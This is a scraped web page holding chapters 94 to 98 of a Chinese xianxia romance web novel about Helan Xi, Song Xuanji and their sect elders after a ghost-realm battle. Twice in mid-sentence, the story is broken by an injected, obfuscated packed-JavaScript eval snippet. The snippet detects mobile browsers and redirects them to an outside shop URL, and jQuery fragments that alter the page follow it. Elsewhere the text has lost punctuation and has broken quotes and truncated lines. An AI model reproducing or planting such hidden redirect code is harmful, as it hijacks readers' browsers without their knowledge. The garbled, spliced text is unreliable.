越来越多的微粒涌入其中,轮廓渐渐变得清晰,光华流动,宛然天质。 这是一名身着无情道道袍的青年,眉若远山,双目闭阖,平静剔透的脸庞宛若一个清浅易碎的梦。 几个少年愣是看呆了,过了一会儿才有人问:“他是谁?” “他戴着金簪流苏,”祝如霜转向宋玄机,“他是姑苏宋氏的人?” 宋玄机:“。” “我知道他是谁。”贺兰熹在宋玄机的搀扶下,捂着胸口站了起来:“祝云,他……他是我们的师尊。” 祝如霜一愣:“师尊?” 他们的师尊不是江院长吗? 不对,除了江院长,他们还有一位师尊——一位他从未见过的师尊。 祝如霜怔然不已:“你是说……浣尘真君?” 眼前的魂魄,竟然就是闭关了十八年的无情道院长? 长孙策等外院人士听到“浣尘真君”四字,立马倒吸一口冷气,不约而同地敛容肃目,端正仪态——这是他们面对无情道院长时无法控制的本能行为。 贺兰熹望着浣尘真君的背影,试探地唤了一声:“沈院长?” ——没有回应。 透明 的魂魄依旧闭着眼,背对着六个少年,双手未执一剑。 鬼九僵在王座的废墟上,先前的成竹在胸荡然无存。此时此刻,他和其他等待审判的一众小鬼没有区别。 终于,浣尘真君开口了。 “北洛戒律,鬼界擅入阳间者, “诛字落地,无可比拟的强大力量横扫荡涤,欲壑之口猝然关闭,众鬼于瞬间灰飞烟灭。正如预示中的一般,连灰烬都没有留下。 混乱拥挤的局面至此清场,鬼九阎猗是唯一的例外。 鬼九以情/欲为饲,成功炼成了他在阳间的躯体。理论上来说,身处阳间的他不应再受北洛戒律的约束,自然也不在浣尘真君为自己魂魄设下的职责范围内。 鬼九自知在劫难逃,却不愿束手就擒。趁着诸鬼伏诛之际,他竟然不惜以全部的力量为代价,在虚空中撕开了一道裂缝! 白观宁看穿鬼九的意图,心下骤惊:“站住! 他飞上前欲阻止鬼九的遁逃,却是为时已晚。 裂缝就在鬼九的手边,鬼九只需稍稍抬手,便能离开这毫无胜算之地。 鬼九嘴角扬起劫后余生的笑容,手刚要伸出去,忽然被一股无形的力量拽了回去。 鬼九脸上的笑容凝固成难以置信的错愕。不仅是他的手,他的整个身体都在不由自主地向裂缝远离。 一轮血月出现在夜空,为所有人的视野蒙上了一层绯色的光辉。 月陨潮汐,巨大的引力吞噬着周围的一切。酒池,回廊,楼阁均被整齐地平地拔起,和鬼九的身躯一同不容抗拒地涌向血月。 满目绯色之下,唯有浣尘真君身后留有一方净土。 “月蚀之潮……?白观宁眼睛一亮,哑声大喊:“——师尊! 虽然早就想到了会有这一幕,贺兰熹还是觉得不可思议:“宋浔你果然是向小叔请假报备的! 宋玄机:“是,你猜中了么。 熟悉的身影出现在血月之中,华丽的衣摆随风飞扬,如凤求凰,炫目而盛大。 “你方才没听到么。绯月真君从鬼九身边走过,不曾在鬼九身上落下一眼:“我的宝贝徒弟让你从他母亲身体里滚出去。 话落,月蚀之潮的 引力竟将鬼九的本体从王后的身体上活活扯了下来。 倒下的王后被白观宁眼疾手快地抱进了怀里,鬼九发出一声不甘的惨嚎,终于惹来了绯月真君的目光。 绯 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见浣尘真君还是毫无动静,贺兰熹忍不住道:“小叔,我觉得浣尘真君的魂魄好像不具备神志,他可能只会依照北洛上神的戒律行事。 绯月真君陡然闭上了眼,仿佛在小辈面前竭力压抑着什么,低声道:“你太不了解你家院长了。 贺兰熹道:“那肯定,我这才第一回见他。 绯月真君再睁开眼时,又恢复了昔日风流多情的模样,眉梢轻轻扬起,语气也散漫了起来:“所以,你打算一辈子魂体分离地留在鬼界么,沈院长? 一片安静。 “好,我换个问题问你。绯月真君又道,“贺兰时雨和你究竟是什么关系? 贺兰熹无奈地说:“虽然我也很想知道这个问题,但院长他真的听不到我们说话吧。 绯月真君将浣尘真君慢慢地看了个遍,忽而展颜一笑:“你若不说,我便当他是你十月怀胎为我生下来的了。 宋玄机:“? “???贺兰熹登时眼前一黑,吓得魂飞魄散不说,还吐出了第二口鲜血:“什么啊,小叔你不要乱说啊啊啊!!! 作者有话要说 宋流纾:在线教大家怎么逗无情道院长开口 贺兰宝宝和院长们没有任何血缘关系,文中男人不能生孩子,大家千万不要被宋流纾的恶趣味带偏嗷 第 95 章 话痨好动的宝贝 此时此刻,贺兰熹清晰地认识到了绯月真君和宋玄机是亲叔侄的事实。亏他之前还觉得这对叔侄除了拥有美貌之外一点都不像——这不是一模一样的语出惊人吗。 什么叫“贺兰时雨是你怀胎十月为我生下来的”啊!且不说浣尘真君并非女子,若真这样,他和宋玄机不就成堂兄弟了? 不可能,绝对不可能!他绝对不接受! 原来绯月真君以前就是这么逼他们无情道院长开口的吗!那岂不是浣尘真君每开一次口,就有一个无辜的孩子被迫认父…… 绯月真君一句话不但把宋玄机说沉默了,把贺兰熹说吐血了,也把其余四个小的说的目瞪口呆,怀疑人生,不知今夕是何年。 反观两个当事人竟然一个比一个淡定。 绯月真君似乎没有意识到他给大家造成了多大的“创伤”,一副笑眯眯的模样,目光却锁死在浣尘真君的灵体上,不欲放过浣尘真君脸上一丝一毫的反应。 而浣尘真君面对绯月真君如此“大逆不道”之言,没有开口,没有睁眼,甚至连眼睫都没有动一下。 “小叔您现在满意了吗,您这个自私的人!”贺兰熹忿忿道,“您都这么说了,院长还没有反应,这足以说明……” 贺兰熹话未说完,宋玄机道:“安静点,贺兰熹,你在吐血。” 忽然,绯月真君神色蓦地一变,眼中流露出某种难以言喻的微妙情绪。 一阵清风不知从何处吹了过来。浣尘真君的魂魄微微一晃,轮廓也变得暗淡,一眨眼就从众人眼前消失了。 绯月真君嘴角扬起冷笑,当即划出六道轮回阵,追着浣尘真君直入鬼界。 贺兰熹脑海中浮现出绯月真君满头华发的模样,忙道:“小叔别追了,浣尘真君的魂魄真的没有意识!”他冲着六道轮回阵一顿嚷嚷,“再这么下去,您可没多少阳寿可以耗了呀!” 宋玄机一边拉着贺兰熹不让他乱动,一边用衣袖为他擦去嘴角的血迹。 别人受伤后都是一副柔弱不能自理的模样,贺兰熹受伤后却一直在动来动去,嘴上没个消停,宋玄机想为他疗伤还要先想办法让话痨好动的宝贝暂时安静下来。 宋玄机道:“绯月真君想做的事情,不会被任何人阻挡。而且,浣尘真君的魂魄 应该具备灵识。 贺兰熹:“你怎么知道? 宋玄机:“他刚刚把绯月禁言了。 贺兰熹:“?你怎么又知道……哦! 不等宋玄机回答,贺兰熹自己就想明白了。 绯月真君先被浣尘真君全然忽视,后又眼睁睁地瞧着浣尘真君一言不发地消失,就绯月真君那张嘴,怎么可能一句话不说。 如果绯月真君能说话,八成要说“你不说话,看来贺兰时雨真是你给我生的,“怎么,沈院长抛夫弃子十八年还不够,现在又要跑了,留我一个人带孩子之类的荒谬之言。 绯月真君没说,就证明他说不了。 浣尘真君真把绯月真君禁言了……他能说禁得好吗。 看在绯月真君昔日对大家的关照的份上,贺兰熹决定不把自己的幽怨宣之于口,然后他听见宋玄机道:“禁得很好,你小叔活该。 贺兰熹抿了抿唇,不乐意地说:“那怎么就成我一个人的小叔了,绯月真君明明是你的亲小叔好吗。 宋玄机冷冷道:“我不太想认他。 祝如霜看出浔熹二人的郁闷,出言安慰:“绯月真君一向喜欢和我们开玩笑,他的话你们不必在意。 贺兰熹总算愿意乖乖被宋玄机抱着让他给自己擦血疗伤了:“我知道他是开玩笑,但…… 绯月真君的一席话让他想起了自己刻意忽视多年的身世问题——话说他的生父到底是谁来着? “你们是不是搞错重点了?重点不是贺兰熹很可能是宋玄机他哥吗!长孙策兴奋又羡慕地说,“好兄弟变真兄弟,亲上加亲,这是大喜事啊! 宋玄机:“。 贺兰熹:“这种大喜事给你你要不要啊? 祝如霜:“好了,长孙经略,闭嘴。 “你们认真的吗?萧问鹤面部抽搐,一度怀疑是自己的认知出了问题:“重点明明是浣尘真君,无情道现任院长,当今天下第一人,和合欢道院长有一腿啊!!! 鬼九被月蚀之潮封印,擅入鬼界者灰飞烟灭,欲壑之口再度关闭,白观宁成功拿回了母亲的肉身,六人的楼兰之行也接近了尾声。 贺兰熹等人没有马上回太华宗,而是主动留下来帮白观宁处理善后。 王后需要招魂,楼兰王需要另立;一百零五名美人需要他们的帮助才能恢复清醒,为鬼九效力的修士也要一一揪出来处理……最重要的是,贺兰道友需要静养。 强行用身体堵住欲壑之口的代价是金丹受到了一点损伤,灵脉也断裂了好几根,贺兰熹短时间内不宜再使用术法消耗灵力。虽然回太华宗养伤才是明智之举,但一想到冰天雪地的无情道院和不容他人造访的单人仙舍,贺兰熹宁愿和兄弟们待在一起。 新楼兰王倒台后,白观宁自然而然地成为了楼兰国有实无名的新主人,也理所当然地为贺兰熹提供了最好的疗伤环境。 于是,贺兰熹住进了奢华的宫殿,拥有一大群可供他随意差遣的侍从,每天从七尺半的翡翠大床醒来;漂亮昂贵的衣服首饰不要钱地送到他面前,连他喝药用的杯子都是黄金的。不知情的民众还以为宫里供着哪位娇生惯养的楼兰小公主呢。 祝如霜等好兄弟虽然忙着善后,但每日都会来陪他一会儿;某个容貌无双的宋姓美人更是日日守着他,贺兰熹的日子过得快活似神仙,养伤都快养得乐不思蜀了。 这日,宋玄机在祝如霜和长孙策严密的监视下去给贺兰熹配药去了。贺兰熹独自趴在床上看楼兰的话本,侍从在外禀告说小王子殿下来了。 白观宁这段时日忙得要死,走起路来脚下生风,一见到贺兰熹便急不可耐地说:“贺兰熹,我母后的魂魄找到了!” 贺兰熹连忙把话本藏进被子里,骨碌碌爬了起来:“真的吗?太好啦!” “我已经帮她魂归肉身了,想来不日她就能苏醒了。”白观宁难掩激动地握住贺兰熹的双手,“这次多亏了你们,尤其是你。” 为营救楼兰王后,贺兰熹不但出卖色相以身入局,还因此受了不小的伤。在诸多道友中,白观宁最感谢的就是他。 贺兰熹谦虚道:“应该的应该的,我们是朋友嘛。” 白观宁没告诉贺兰熹他虽然有把贺兰熹当成朋友,但过去更多的是把他当成考核上的追赶对象和竞争对手。 此次事件过后,贺兰熹无疑就是他最好的朋 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“就这点我还嫌不够呢。白观宁望着贺兰熹比平时苍白不少的脸色,拧着眉头道:“你这次连灵脉都断了三根,少说也要静养两个月。到时候万一影响了你的年终考核,那我…… 贺兰熹开玩笑道:“那你就离全宗第二更近了。 白观宁眉间拧得更紧:“你不必这般想我。我虽然对全宗第一渴望已久,但也绝不希望你们因受伤误了考核。 “我知道你不会,我和你说笑呢。贺兰熹想了想,道:“你要是真想谢我,就认我做哥。 白观宁微怔:“你是认真的吗?就这么简单? 贺兰熹道:“是啊! “这好说,白观宁爽快地叫了一声,“哥。 认哥这种事情真的要看人,如果换成长孙经略,那小子估计要一口一个“士可杀不可辱。但对白观宁来说,叫声哥毫无屈辱可言,考全宗第八才是更丢人的事。 贺兰熹托着腮,眉眼一弯:“哎! 白观宁还有一堆事情要忙,并未久留。离开时,他恰好碰见端着药回来的宋玄机等人。只见祝如霜和长孙策脸上写满了生无可恋,也不知他们在监督宋玄机配药的时候经历了什么。 长孙策:“为什么非要宋浔配药呢?换我一个人来,我五百年前就配好了! 宋玄机:“。 祝如霜:“时雨指名要玄机配,说要借机帮他复习《丹药学》。 长孙策:“贺兰熹对宋浔是真爱啊,居然不惜冒着灵脉断裂的危险也要帮他复习功课。 祝如霜:“但不得不说,用药人换成时雨后,玄机的《丹药学》着实突飞猛进。 宋玄机:“閇。 “你们还是悠着点吧,白观宁叮嘱三人,“别耽误我哥吃药。 三人脚步同时一顿:“? 作者有话要说 贺兰同学:小叔你%(&%*(……%¥*&¥#!¥ 宋同学:老婆吐血了,我要给他擦血 贺兰同学:我们院长他×&%¥#@……! 宋玄机:老婆受伤了,我要给他疗伤 然后,贺兰同学继续在老公怀里巴拉巴拉…… * 小白你和祝云就不是一个赛道的,你虽然不是贺兰最好的闺蜜,但你是最好的弟弟呀! 第 96 章 我脸红了…… 宋玄机将配好的药端给贺兰熹。虽说有祝如霜和长孙策的监督,贺兰熹还是拿出了十二分的谨慎,对着宋玄机的成果看了又看,闻了又闻,甚至不怕麻烦地用逆推导法还原了整个配药的过程。 一通折腾后,贺兰熹满意地做出评价:“如果今年《丹药学》的年终考核考修复灵脉相关,宋道友应该能拿一个甲等了。” 闻言,策云二人长舒一口气,宋玄机肩膀亦稍稍松动。 长孙策活动着肩膀,嘲讽道:“是啊,宋浔能在《丹药学》上拿甲等,前提是有全宗第三及其……好友,帮他纠正大大小小,一共十一个匪夷所思的错误。” 宋玄机道:“你被祝云掌掴。” 长孙策莫名其妙:“‘掌国’?啥意思,我被祝云干啥了?” 自从知道祝云不慎被长孙策亲了一口后,贺兰熹看这短发少年总是不太顺眼,此刻更是不忍直视:“笨,‘掌掴’是打耳光的意思。” 长孙策登时窒息不已:“喂!” 宋玄机又补充了一句:“两次。” 宋玄机简略的两个字如同两把刀扎在了长孙策胸口:“你还是个人吗?!” 祝如霜生怕长孙策单方面和宋玄机吵起来影响贺兰熹静养,赶紧以“你不是想尝尝问鹤的风腌小菜吗,走吧我陪你去”为由把长孙策拉走了。 两人走到门口,刚巧听见贺兰熹向宋玄机抱怨:“这药好苦,我不要喝我不要喝!” “这都多大的人了,还怕药苦呢。”长孙策对贺兰熹的行为发出无情的嘲笑,转身就要往回走。 祝如霜拉住他:“你干嘛去?” “贺兰熹不是不肯喝药吗。”长孙策撸起袖子就要开干,“我替宋浔按住贺兰熹,方便他掰开贺兰熹的嘴灌药。以前我家养的狗子不喝药,我们都是这么干的。” 见长孙策不像是开玩笑的,祝如霜闭上眼,揉着隐隐作痛的额角:“不想死就别去。” 长孙策不明所以:“我愿意帮他们是他们的福气,我怎么会死?” 长孙策还想据理力争,忽然感觉背脊一凉,像是有双手贴在他背上,毫不留情地将他推了出去,而后砰地一声在他身后摔上了门。 长孙策:“???” 看着长孙策一头雾水不太 聪明的样子祝如霜觉得再这么放任他作死下去他迟早有一天会死在宋玄机手中。 祝如霜定了定神压低声音道:“经略其实时雨和玄机他们……” 片刻后长孙策的吼叫响彻王宫。 “什么?你说贺兰熹和宋浔是什么关系???”长孙策双手抱头脑子都快炸了:“等等他们不是修无情道的吗!!!!” “你再大声些让全三界都听见你的声音。”祝如霜冷冷道“‘保密’两个字你也听不懂?” 长孙策憋得满脸通红:“听得懂。但凭什么都是无情道他们可以谈情说爱我亲你一下就要被你打脸啊!这还有天理吗?” 祝如霜北望远方面色凝重:“我们三人之中他们二人已经背道我作为本届弟子中仅剩的独苗更要担起无情道之职责。” 长孙策噎了一下说起风凉话:“你可省省吧许之维都没说要担起无情道的责任你一个刚入门没几年的小师弟瞎凑什么热闹!” 祝如霜:“……你还有别的想问的吗?没有就走开。” 长孙策:“有!这件事我能告诉小白他们吗?” 祝如霜:“可以。时雨说过不介意我们几人知晓。” 长孙策动作麻利地掏出一张传音符烧给白观宁:“我告诉你一个秘密你千万不要告诉别人!” 白观宁听说后反应如下:“你这说的和真的似的要不是我哥手上的流绪微梦没有反应我还真信了。” 长孙策:“这事千真万确我骗你这辈子没媳妇好吧。” 白观宁:“???” 不多时白观宁又是一张传音符找到萧问鹤:“我告诉你一个秘密你千万不要告诉别人!” 萧问鹤:“……你们憋死我算了!” …… 对宋玄机来说 贺兰熹双腿盘坐在被子里手臂一抱闭着眼连连摇头。 “前几日你喝药从未嫌苦”宋玄机不太理解“今日为何突然如此。” “因为”贺兰熹在被窝里一顿摸索嗖地拿出刚刚藏起来的话本:“我想你这样喂我喝药。” 宋玄机:“哪样。” 贺兰熹翻到先前他折角做了记号的一页,摊开递给宋玄机,还生怕宋玄机看不到重点,用手指在插画上指了好几下:“这个这个。” 贺兰熹说完,不等宋玄机做出反应,他自己先害羞得拉起被子,把脑袋埋了进去。 他都这么大一个人了,居然还在喝药这种事情上撒娇,好羞耻好羞耻! 不过他现在是伤患来着,他灵脉都断了啊,娇气一点应该没事吧? 贺兰熹等了好一会儿,宋玄机的声音在被子外面响起:“出来。” 贺兰熹闷声道:“你明白我的意思了吗?” 宋玄机“嗯”了一声:“你很空虚,你想亲热。” 贺兰熹一口气险些没上来:“我、我没有空虚……” “谁空虚不重要。”宋玄机看着那一团被顶起来的被子,道:“但你不出来,我如何亲你。” 贺兰熹亲自上演了一出此地无银三百两,没什么底气地分辩:“我也没有要你亲我,就是想你喂我喝药而已。你要是不感兴趣,我又不会强迫你。” “是吗,”宋玄机淡道,“你不会像要我叫你‘宝贝’时一般,为达目的不惜原地发疯么?” 贺兰熹很想反驳宋玄机说他不是这样的人,但这的确是他能干出来的事,因此他只能愤怒地说:“你知道就好!” 贺兰熹的发疯才开了个头,身上的被子就猝不及防地被掀开了。宋玄机的脸出现在眼前,冷不丁地告诉他:“我没有不感兴趣。” 近距离观赏宋玄机的脸不但找不到半点瑕疵,反而有一种美貌近在咫尺的惊艳错愕感。贺兰熹恍惚一瞬,在宋玄机清冷却直白的目光下渐渐热了脸颊。他忍不住把脸捂进掌心里降温,却发现自己的掌心同样烫得厉害。 救命,有没有谁的道侣也是清冷大美人啊,能不能告诉他是不是和美人谈情都这样,简单一个对视竟然和喝了半斤酒一样上头。再这么下去,他都要得心悸症了。 宋玄机问:“你怎么了。” 贺兰熹诚实地说:“我脸红了……” 宋玄机抓着贺兰熹的手从脸上拿下来,面色如常道:“脸红什么,不是你自己提出来的么。” 看宋玄机这么淡定,贺兰熹有点想闹脾 气了搞得惦记着亲热的人就他一个似的明明宋玄机自己也说了感兴趣啊! “是是是就你不会脸红你就是传说中的‘不会脸红真君’行了吧?”贺兰熹阴阳怪气地说“知道我想亲热还顶着一张没有表情的脸 贺兰熹说了这么一大堆宋玄机只有一句:“?我以为我是‘不会脸红真君’。” 贺兰熹感到了某种熟悉的窒息感:“这是重点吗?重点是在我这里封号是可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13080779|121100||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以随时变的!” “你抓重点的本领似乎和我不相上下。”宋玄机起身去拿放在一旁的药碗背对着贺兰熹道:“你刚才一直在说我冷静其实我面对你时倒没有很冷静。” 贺兰熹冷哼一声:“骗谁呢。就说你第一次亲我的时候我都快紧张死了你看上去却一点都不紧张。” 宋玄机:“要是能被你看出来我在紧张我的无情道也白修了。” 贺兰熹:“……” 这话说的宋玄机竟然还骄傲上了不就是在含沙射影他的无情道没修好么。 贺兰熹好气又好笑随手抓起床上的枕头朝宋玄机扔了过去:“——宋玄机!你就不能说些好听的吗尽说些大实话气我!” 众所周知贺兰熹一旦连姓带字地叫宋玄机就说明他要闹脾气了。 宋玄机先是微微偏过头躲开了贺兰熹扔来的第一个软枕又用手轻轻松松地接住了第二个软枕。然后他把两个软枕放到一边朝贺兰熹走了过去。 贺兰熹摆出一副冷漠脸故意道:“算了算了我不要你喂了我自己喝。” 宋玄机垂眸看着他看了许久久到他无端紧张了起来喉结滚了又滚。 贺兰熹:“你干嘛这么看我?” 宋玄机:“你最好知道一件事贺兰时雨。” 贺兰熹:“……什么?” 宋玄机:“若我每次想睡你时真的能睡到那你早就被我睡透了。” 贺兰熹陡然睁大眼睛还没意识到宋玄机这句话背后的含义宋玄机便喝下汤药低头朝他吻了过来。 又被宋玄机亲了第三次被他亲了…… 宋玄机的嘴唇依旧是微凉的渡过来的汤药却是温热的。 发苦 的药染上了宋玄机的气息,变得冷咧美味。贺兰熹不想浪费,主动卷住了宋玄机的舌尖,生涩又大胆地品尝起来。 他把宋玄机喂他的药吃得干干净净。他吃得很努力,很快他就感觉不到药的味道了,宋玄机却没有放开他,反而扣住了他的后脑勺,不给他退缩的机会。 “嗯…… 宋玄机的表情看上去分明还是一如平时的冷淡啊,他真的会紧张吗? 宋玄机似乎察觉到了他的分心,嘴唇的力度又加了两分,都快把他亲痛了。 “唔……!贺兰熹本能地抬起手抵在宋玄机的胸口想要把对方推开,却是蓦地一愣。 好快……宋玄机的心跳得好快啊。和他的一样快……不,比他的还快! 被宋玄机摁在怀里亲了又亲的贺兰熹明白了两件事: 第一,再苦的药只要有美人嘴对嘴地喂都会变成甜甜的山泉。 第二,和宋玄机亲热的时候不要总是盯着他的脸看,而是要多摸摸他的心口,搞不好会有惊喜的发现。 从那以后,贺兰熹有事没事就要打宋玄机心跳的主意,偶尔上手摸摸,偶尔扑到他胸口用耳朵听一听。 几次过后,宋玄机语重心长地对贺兰熹道:“你再如何摸,我也不会变成长孙经略的身形。 贺兰熹不禁痛心疾首:“我说了几万遍我对大胸肌不感兴趣,我只喜欢又白又薄的胸肌和腹肌,你为什么就不信我呢? 作者有话要说 好纯爱的宝贝们,100章之前绝对再让你们睡一次! 宝宝们我马上要去北京一趟(那你偏要去北京是什么意思啊,北京到底有谁在啊!!!狗头) 键盘我带着了,但如果太忙我也不能保证更新,不更新的话我都会提前在评论区或作者公告说的 PS:明晚的更新在晚上12点! 第 97 章 是指自荐枕席 两日后,宋玄机像之前一样喂贺兰熹喝药。他先自己喝了一口,正朝贺兰熹凑过来,寝宫内忽然变故横生。 飘散着绯色花瓣的六道轮回真凭空而现,许久未见的绯月真君不请自来,连个招呼都没打,直接在两人床前落了脚,愣是把贺兰熹吓得一边召出北濯天权,一边往宋玄机身后躲。 宋流纾看着坐在床上的两个少年,了然一笑,明知故问:“嗯?你们两个鬼鬼祟祟做什么呢。 在鬼界追魂追了半月的绯月真君仍旧是衣着华贵,光彩照人,脸上不但看不出半点疲态,反而更加神采奕奕了,艳丽的像一朵被晨露滋润过的玫瑰。 贺兰熹:“……我们在喝药。 宋玄机默默地把嘴里的药全咽下去了,还好这些药没什么毒性。 贺兰熹弱弱地指责:“小叔您怎么可以随随便便闯进人家卧房呢。 “巧合罢了,我不过随便寻了个地方落脚,谁知刚好在你们床前。宋流纾走到床边,为贺兰熹简单把了一下脉:“不错,时雨的伤已经好了一大半了,看来最近有乖乖地在吃药。 贺兰熹:“您找到浣尘真君了吗? 宋流纾:“没有。 “没有?贺兰熹和宋玄机对视一眼,有点看不明白了:“没有您还这么开心? “至少我现在能确定他的魂魄就在鬼界。宋流纾端起桌上形似莲花的夜光杯,示意宋玄机为他斟杯楼兰美酒,被亲侄子无言拒绝后便自己给自己倒了一杯:“只要确定了这一点,找到沈絮之是迟早的事。 贺兰熹:“您之前一直借着寻找北洛上神的借口待在鬼界,是不是早就猜到了浣尘真君的魂魄就附在北洛神像上? “差不多吧。但在欲壑之口打开前,我不知道沈絮之为何要把自己的魂魄附于北洛神像。宋流纾摇晃着夜光杯,漫不经心道:“北洛神力正在衰退么……这倒让我想明白了另一件事。 贺兰熹:“什么事? 宋流纾微微一笑:“想明白了沈絮之在‘闭关’之前,为何突然对我热情了起来。 贺兰熹实在无法将“热情两个字和浣尘真君联系在一起。他试探地问:“您说的‘热情’是指沈院长和您说话的时候,每句话都超过了三个字吗。 宋流纾直言不讳:“是指自荐枕席。” 贺兰熹:“…………” 宋流纾小半杯葡萄酒都快喝光了两个小的还在沉默。宋流纾的指尖敲了敲夜光杯:“怎么不信?” 贺兰熹其实是信的他能为浣尘真君找到“自荐枕席”的原因。 合欢道院的双修之法可以在短时间内助人修为大增。而对浣尘真君来说最好的双修对象无疑就是他昔日的同窗道友今日的合欢道院长绯月真君。 如果说浣尘真君是因为很爱才“自荐枕席”打死他他都不会信。但如果说浣尘真君是为了更好地控制鬼界不惜违背道心与绯月真君双修那他绝对是信的。 绯月真君原你是这么睡到浣尘真君的吗……一时之间贺兰熹都不知道要不要同情绯月真君了。 站在绯月真君的角度看就是一直高高在上冷漠无情的“死对头”——无情道院长忽然对他“热情”了起来。两人春风一度或是好几度后他还没想明白浣尘真君这么做的理由对方便招呼不打地消失了。 这谁能忍? “我信。”贺兰熹红着脸道“但是小叔我和宋玄机还是孩子啊您和我们说话的时候是不是委婉一点比较好?” 宋流纾嗤笑一声打趣道:“你们算哪门子的孩子该做的不该做的不都做过吗。” 宋玄机:“……” 贺兰熹:“!!!” 宋流纾:“我听说不久之前无情道院有人触怒了天道 宋玄机:“不及当年。” 宋流纾笑眯眯道:“多谢。” 宋玄机虽然没再说话但贺兰熹总觉得他说了一句“您能不能要点脸”。 “哎呀这有什么可不好意思的。”宋流纾无法欣赏地摇了摇头“脸皮薄成这样就该来我合欢道修行一年保证你们谈论此事时就像谈论功课一样随意。” 贺兰熹婉拒道:“不用了我觉得脸皮薄点挺好的。” 宋玄机适时转移话题:“接下来你作何打算。” 贺兰熹连忙附和:“您还要继续留在鬼界寻找北洛上神的神像和浣尘真君的魂魄吗?” “怕是不能了。”宋流纾眉心动了动眸子眯了起来: “沈院长神通广大,擅自给北洛戒律新增了一条——宋流纾非召不得入鬼界。” 贺兰熹不由松了一口气:“沈院长这也是为您好,您再待在鬼界就该长皱纹了。” “他是为我好?需要我的时候,主动爬上我的床;不需要我的时候,就可以不辞而别十八载……”宋流纾盯着手中华丽的酒杯,缓声道:“这算什么——呼之即来,挥之即去么。” 贺兰熹不知如何安慰绯月真君,绞尽脑汁才憋出一句:“浣尘真君的魂魄不是戴着你们姑苏宋氏的金簪流苏吗。” “不必多想。”宋流纾心不在焉道,“他取不下来而已。” 贺兰熹不相信堂堂无情道院长会取不下来一枚金簪流苏,但眼下的情况多说无益,他还不如再给绯月真君倒杯酒呢,一醉解千愁。 宋玄机站起身:“我去重新盛一碗药。” 宋流纾望着酒液如同涓涓细流般倒入杯中,目光逐渐冷了下来。 鬼界不能再去了,沈絮之和贺兰时雨的关系却依旧成谜。 贺兰熹出生不久,沈絮之就去“闭关”了…… 既然暂时无法找到沈絮之,那么此事便只剩下一个可能的突破口——金陵城主,贺兰熹的母亲,贺兰若芙。 宋玄机把药端来,两人也不敢当着绯月真君的面用特殊的方式喂药了。贺兰熹在床边端正坐好,低下头就着宋玄机的手一口一口地乖乖喝药。 宋流纾看着两人谁也离不开谁的样子,沉思片刻,忽而一笑:“时雨,你想不想戴金簪流苏?” 贺兰熹微微一怔,心道我表现得那么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13080780|121100||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明显吗?这也太不矜持了。 于是,贺兰熹矜持地否认:“我没有想。” “他想。”宋流纾转向宋玄机,笑道:“玄机,我带你去金陵提亲如何?” 宋玄机:“好。” 贺兰熹:“!” * 次日,金陵城,一桩突发事件打破了贺兰府众人平静的生活——他们那个远在太华宗修行,深爱说话却进了无情道院的少城主突然回来了,还是带着一身的伤回来的! 贺兰府骤闻噩耗,每个人都为少城主担心不已,贺兰夫人更是以最快的动作召集了金陵境内所有的医修准备为儿子诊治。 因此,当贺兰熹 活蹦乱跳地出现在家门口嘴上一如既往地没个消停时一些刚为贺兰家效力没几年的修士不禁发出疑问:“不是说少城主受伤了吗?我看他挺精神的呀。” 作为陪伴贺兰熹最久的侍从解弘有责任和义务告知大家:“你们不懂我们少主就这样。他小时候有一次发烧都快烧死了还要拉着城主讲故事呢。” 修士:“这有什么?小孩子的确爱听故事吧。” 解弘:“不他是非要给城主讲故事。” 修士:“啥???” 只听贺兰夫人一声令下被重金聘请的医修便一拥而上将想要和娘亲抱一下的贺兰熹围了个水泄不通。 贺兰熹挣扎地被摁在了轮椅上被解弘飞快地推回房间之前还不忘向母亲介绍:“娘我道友和合欢道院长也来了你帮我招待下——我道友喜欢吃甜的!” 宋玄机:“……” “‘道友’?”宋流纾轻笑了一声揶揄道:“你怎么只是时雨的‘道友’啊 宋玄机:“您以前是不是经常被浣尘真君禁言。” 宋流纾:“……”是的大多还是在床上。 只看外貌贺兰熹和贺兰夫人并没有太多相似的地方。 贺兰夫人生得十分英气既有一城城主的飒爽英姿眉眼间又隐隐可见江南女子的秀丽温婉。 “有劳二位将熹儿送回府上”贺兰夫人带着贺兰家众修士向宋流纾行礼道谢“熹儿在太华宗时给你们添麻烦了。” 宋玄机站在宋流纾身后向贺兰夫人回礼过人的美貌加上雍容的仪态让贺兰夫人不由多看了两眼。 宋流纾笑道:“时雨虽不是合欢道弟子却胜似合欢道弟子。本座身为一院院长照顾他是应该的。” 贺兰夫人心想这还能胜似的吗。她朝这对美貌叔侄的身后看去:“请问宋院长这些东西是……?” 宋流纾道:“一些薄礼而已望城主笑纳。” 贺兰夫人:“……薄礼?” 宋流纾笑吟吟道:“夫人请别多想我们的确只是来探病的。” 贺兰夫人看着十几个红木的箱子陷入沉思。 作者有话要说 提前更新! 接下来我要出门啦不能保证更新了哦orz 你身边有不少朋友还没看到本章呢,快去剧透一下,他们会很崇拜你的 第 98 章 宋院长,您被浣尘... 贺兰夫人命人查看箱子里的东西,这不查还好,一查吓一跳——姑苏宋氏怕不是把压箱底的宝贝全送来了吧! 贺兰夫人不肯收如此大礼,再三婉拒:“宋院长您这是……实不相瞒,我姐妹的闺女成亲时,收的聘礼都没这个多啊!” “城主该不会以为这些是聘礼吧?”宋流纾煞有介事道,“玄机双亲俱在,若要下聘礼,也轮不到我这个当叔叔的来。” 